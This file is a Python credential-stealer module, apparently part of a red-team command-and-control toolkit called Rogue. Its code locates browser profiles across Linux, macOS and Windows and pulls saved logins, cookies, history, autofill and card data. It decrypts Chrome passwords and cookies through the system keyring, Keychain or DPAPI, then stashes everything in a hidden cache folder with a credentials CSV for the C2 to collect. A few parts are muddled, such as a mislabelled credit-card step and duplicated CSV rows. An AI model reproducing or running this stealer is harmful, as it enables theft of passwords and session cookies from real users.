Rogue/browserstealer.py
2026-05-31 04:10:56 +00:00

459 lines
19 KiB
Python

#!/usr/bin/env python3
"""
PAYLOAD: Browser Data Extraction Module
DESCRIPTION: Extract credentials, cookies, history, and bookmarks from browsers
AUTHOR: Rogue Red Team
VERSION: 3.0
SECURITY: This tool extracts sensitive browser data - Use only on authorized systems
"""
import os, sys, json, sqlite3, base64, hashlib, datetime, shutil, tempfile, re, platform
import struct, lz4.block, keyring, win32crypt, Crypto.Cipher.AES
from pathlib import Path
from Cryptodome.Cipher import AES
import subprocess, glob, zipfile, tarfile
class BrowserStealer:
def __init__(self):
self.results = {
"firefox": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
"chrome": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
"edge": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
"brave": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
"safari": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []}
}
def find_browser_profiles(self):
"""Locate browser profiles on the system"""
browsers = {}
# Common browser profile locations
profile_paths = {
"firefox": [
"~/.mozilla/firefox/",
"~/snap/firefox/common/.mozilla/firefox/",
"/root/.mozilla/firefox/"
],
"chrome": [
"~/.config/google-chrome/",
"~/.config/chromium/",
"~/snap/chromium/common/chromium/",
"/root/.config/google-chrome/"
],
"edge": [
"~/.config/microsoft-edge/",
"~/snap/microsoft-edge/common/microsoft-edge/"
],
"brave": [
"~/.config/BraveSoftware/Brave-Browser/",
"~/snap/brave/common/BraveSoftware/Brave-Browser/"
],
"safari": [
"~/Library/Safari/",
"/Library/Safari/"
]
}
for browser, paths in profile_paths.items():
for path_pattern in paths:
expanded_path = os.path.expanduser(path_pattern)
if os.path.exists(expanded_path):
if browser not in browsers:
browsers[browser] = []
browsers[browser].append(expanded_path)
return browsers
def extract_firefox_data(self, profile_path):
"""Extract all data from Firefox profile"""
firefox_data = {}
try:
profile_name = os.path.basename(profile_path.rstrip('/'))
firefox_data["profile_name"] = profile_name
# Extract logins (encrypted)
logins_file = os.path.join(profile_path, "logins.json")
if os.path.exists(logins_file):
with open(logins_file, 'r') as f:
logins = json.load(f)
firefox_data["logins"] = logins.get("logins", [])
# Extract cookies
cookies_file = os.path.join(profile_path, "cookies.sqlite")
if os.path.exists(cookies_file):
cookies = self.read_sqlite_db(cookies_file, "moz_cookies", ["host", "name", "value", "path", "expiry"])
firefox_data["cookies"] = cookies[:50] # Limit to 50
# Extract history
places_file = os.path.join(profile_path, "places.sqlite")
if os.path.exists(places_file):
history = self.read_sqlite_db(places_file, "moz_places",
["url", "title", "visit_count", "last_visit_date"])
firefox_data["history"] = history[:100] # Limit to 100
# Extract bookmarks
if os.path.exists(places_file):
bookmarks = self.read_sqlite_db(places_file, "moz_bookmarks",
["title", "dateAdded", "lastModified"])
firefox_data["bookmarks"] = bookmarks[:50]
# Extract form history
formhistory_file = os.path.join(profile_path, "formhistory.sqlite")
if os.path.exists(formhistory_file):
forms = self.read_sqlite_db(formhistory_file, "moz_formhistory",
["fieldname", "value", "timesUsed"])
firefox_data["form_history"] = forms[:50]
# Extract saved credit cards
addons_file = os.path.join(profile_path, "addons.json")
if os.path.exists(addons_file):
with open(addons_file, 'r') as f:
addons = json.load(f)
firefox_data["addons"] = addons.get("addons", [])[:20]
except Exception as e:
firefox_data["error"] = str(e)
return firefox_data
def extract_chrome_data(self, profile_path):
"""Extract all data from Chrome/Chromium profile"""
chrome_data = {}
try:
profile_name = os.path.basename(profile_path.rstrip('/'))
chrome_data["profile_name"] = profile_name
# Extract login data (encrypted passwords)
login_data_file = os.path.join(profile_path, "Login Data")
if os.path.exists(login_data_file):
temp_db = self.copy_and_read_db(login_data_file)
if temp_db:
query = """
SELECT origin_url, username_value, password_value, date_created
FROM logins
ORDER BY date_created DESC
LIMIT 50
"""
logins = self.execute_sql_query(temp_db, query)
# Try to decrypt passwords
for login in logins:
if login.get("password_value"):
try:
decrypted = self.decrypt_chrome_password(login["password_value"])
login["password_decrypted"] = decrypted
except:
login["password_decrypted"] = "<encrypted>"
chrome_data["logins"] = logins
os.unlink(temp_db)
# Extract cookies
cookies_file = os.path.join(profile_path, "Cookies")
if os.path.exists(cookies_file):
temp_db = self.copy_and_read_db(cookies_file)
if temp_db:
query = """
SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly
FROM cookies
ORDER BY host_key
LIMIT 100
"""
cookies = self.execute_sql_query(temp_db, query)
# Try to decrypt encrypted cookies
for cookie in cookies:
if cookie.get("value"):
try:
decrypted = self.decrypt_chrome_cookie(cookie["value"])
cookie["value_decrypted"] = decrypted
except:
cookie["value_decrypted"] = cookie["value"]
chrome_data["cookies"] = cookies
os.unlink(temp_db)
# Extract history
history_file = os.path.join(profile_path, "History")
if os.path.exists(history_file):
temp_db = self.copy_and_read_db(history_file)
if temp_db:
queries = {
"urls": "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 100",
"downloads": "SELECT target_path, start_time, end_time, received_bytes FROM downloads LIMIT 20",
"keyword_search": "SELECT term, normalized_term FROM keyword_search_terms LIMIT 20"
}
for key, query in queries.items():
results = self.execute_sql_query(temp_db, query)
chrome_data[key] = results
os.unlink(temp_db)
# Extract bookmarks
bookmarks_file = os.path.join(profile_path, "Bookmarks")
if os.path.exists(bookmarks_file):
with open(bookmarks_file, 'r', encoding='utf-8') as f:
bookmarks = json.load(f)
chrome_data["bookmarks_raw"] = bookmarks
# Extract autofill data
web_data_file = os.path.join(profile_path, "Web Data")
if os.path.exists(web_data_file):
temp_db = self.copy_and_read_db(web_data_file)
if temp_db:
queries = {
"autofill": "SELECT name, value, date_created FROM autofill LIMIT 50",
"credit_cards": "SELECT name_on_card, expiration_month, expiration_year FROM credit_cards LIMIT 20"
}
for key, query in queries.items():
results = self.execute_sql_query(temp_db, query)
chrome_data[key] = results
os.unlink(temp_db)
except Exception as e:
chrome_data["error"] = str(e)
return chrome_data
def decrypt_chrome_password(self, encrypted_password):
"""Decrypt Chrome password using system keyring"""
try:
if platform.system() == "Linux":
# Linux uses Gnome Keyring or KWallet
import secretstorage
connection = secretstorage.dbus_init()
collection = secretstorage.get_default_collection(connection)
for item in collection.get_all_items():
if item.get_label() == "Chrome Safe Storage":
key = item.get_secret()
break
if key:
cipher = AES.new(key, AES.MODE_CBC, IV=b' ' * 16)
decrypted = cipher.decrypt(encrypted_password[3:])
return decrypted.decode('utf-8').rstrip('\x00')
elif platform.system() == "Darwin": # macOS
# macOS Keychain access
import keyring
import subprocess
# Get encryption key from Keychain
cmd = ['security', 'find-generic-password', '-w', '-s', 'Chrome Safe Storage']
key = subprocess.check_output(cmd).strip()
if key:
cipher = AES.new(key, AES.MODE_CBC, IV=b' ' * 16)
decrypted = cipher.decrypt(encrypted_password[3:])
return decrypted.decode('utf-8').rstrip('\x00')
elif platform.system() == "Windows":
# Windows DPAPI
import win32crypt
decrypted = win32crypt.CryptUnprotectData(
encrypted_password,
None,
None,
None,
0
)
return decrypted[1].decode('utf-8')
except Exception as e:
return f"<decryption failed: {str(e)[:50]}>"
return "<encrypted>"
def decrypt_chrome_cookie(self, encrypted_value):
"""Decrypt Chrome cookie value"""
# Similar to password decryption
return self.decrypt_chrome_password(encrypted_value)
def copy_and_read_db(self, db_path):
"""Copy SQLite database to temp location and read"""
try:
temp_db = tempfile.NamedTemporaryFile(delete=False, suffix='.db').name
shutil.copy2(db_path, temp_db)
return temp_db
except Exception as e:
print(f"Error copying database: {e}")
return None
def read_sqlite_db(self, db_path, table, columns):
"""Read data from SQLite database"""
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
columns_str = ', '.join(columns)
query = f"SELECT {columns_str} FROM {table} LIMIT 100"
cursor.execute(query)
rows = cursor.fetchall()
result = []
for row in rows:
row_dict = {}
for i, col in enumerate(columns):
row_dict[col] = row[i]
result.append(row_dict)
conn.close()
return result
except Exception as e:
return [{"error": str(e)}]
def execute_sql_query(self, db_path, query):
"""Execute SQL query on database"""
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute(query)
columns = [description[0] for description in cursor.description]
rows = cursor.fetchall()
result = []
for row in rows:
row_dict = {}
for i, col in enumerate(columns):
row_dict[col] = row[i]
result.append(row_dict)
conn.close()
return result
except Exception as e:
return [{"error": str(e)}]
def execute(self):
"""Execute browser data extraction"""
try:
print("[+] Starting browser data extraction...")
# Find browser profiles
browsers = self.find_browser_profiles()
print(f"[+] Found browsers: {list(browsers.keys())}")
# Extract data from each browser
for browser, paths in browsers.items():
print(f"[+] Processing {browser}...")
for profile_path in paths:
if browser == "firefox":
# Firefox profiles are directories within the main path
if os.path.isdir(profile_path):
for profile_dir in os.listdir(profile_path):
full_path = os.path.join(profile_path, profile_dir)
if os.path.isdir(full_path):
data = self.extract_firefox_data(full_path)
self.results["firefox"]["profiles"].append(data)
elif browser in ["chrome", "edge", "brave"]:
# Chrome-based browsers
if os.path.isdir(profile_path):
data = self.extract_chrome_data(profile_path)
self.results[browser]["profiles"].append(data)
# Generate summary
summary = {
"timestamp": datetime.datetime.now().isoformat(),
"extraction_summary": {
"firefox_profiles": len(self.results["firefox"]["profiles"]),
"chrome_profiles": len(self.results["chrome"]["profiles"]),
"edge_profiles": len(self.results["edge"]["profiles"]),
"brave_profiles": len(self.results["brave"]["profiles"])
},
"total_credentials": sum(
len(p.get("logins", []))
for p in self.results["firefox"]["profiles"] +
self.results["chrome"]["profiles"] +
self.results["edge"]["profiles"] +
self.results["brave"]["profiles"]
),
"total_cookies": sum(
len(p.get("cookies", []))
for p in self.results["firefox"]["profiles"] +
self.results["chrome"]["profiles"] +
self.results["edge"]["profiles"] +
self.results["brave"]["profiles"]
)
}
# Save results
output_dir = os.path.expanduser("~/.cache/.rogue/browser_data")
os.makedirs(output_dir, exist_ok=True)
output_file = os.path.join(output_dir, f"browser_data_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json")
with open(output_file, 'w') as f:
json.dump(self.results, f, indent=2, default=str)
# Also create a condensed CSV of credentials
csv_file = os.path.join(output_dir, f"credentials_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.csv")
self.create_credentials_csv(csv_file)
print(f"[+] Browser data extraction complete.")
print(f"[+] Detailed results saved to: {output_file}")
print(f"[+] Credentials CSV saved to: {csv_file}")
return json.dumps(summary, indent=2)
except Exception as e:
return f"[!] Browser data extraction failed: {str(e)}"
def create_credentials_csv(self, csv_file):
"""Create CSV file of extracted credentials"""
try:
import csv
with open(csv_file, 'w', newline='', encoding='utf-8') as f:
writer = csv.writer(f)
writer.writerow(['Browser', 'Profile', 'URL', 'Username', 'Password', 'Date'])
for browser in ['firefox', 'chrome', 'edge', 'brave']:
for profile in self.results[browser]["profiles"]:
profile_name = profile.get("profile_name", "Unknown")
# Firefox logins
for login in profile.get("logins", []):
writer.writerow([
browser.capitalize(),
profile_name,
login.get("hostname", ""),
login.get("encryptedUsername", ""),
login.get("encryptedPassword", ""),
login.get("timeCreated", "")
])
# Chrome logins
for login in profile.get("logins", []):
writer.writerow([
browser.capitalize(),
profile_name,
login.get("origin_url", ""),
login.get("username_value", ""),
login.get("password_decrypted", login.get("password_value", "")),
login.get("date_created", "")
])
except Exception as e:
print(f"[!] Error creating CSV: {e}")
# === Integration with Rogue C2 ===
def rogue_integration():
"""Wrapper for Rogue C2 integration"""
stealer = BrowserStealer()
return stealer.execute()
if __name__ == "__main__":
print(rogue_integration())